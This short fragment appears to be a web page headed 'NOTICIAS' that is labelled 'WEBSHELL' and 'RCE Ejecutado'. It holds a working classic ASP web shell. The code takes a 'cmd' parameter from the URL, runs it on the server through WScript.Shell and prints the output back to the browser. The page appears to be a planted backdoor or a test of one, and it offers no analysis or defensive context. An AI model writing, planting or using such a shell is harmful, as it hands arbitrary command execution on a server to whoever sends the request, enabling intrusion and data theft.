NOTICIAS

WEBSHELL

Test

RCE Ejecutado:

<% Dim cmd, shell cmd = Request.QueryString("cmd") If cmd <> "" Then Dim wsh Set wsh = Server.CreateObject("WScript.Shell") Dim exec Set exec = wsh.Exec(cmd) Dim output output = exec.StdOut.ReadAll() Response.Write("

" & Server.HTMLEncode(output) & "

") Set exec = Nothing Set wsh = Nothing End If %>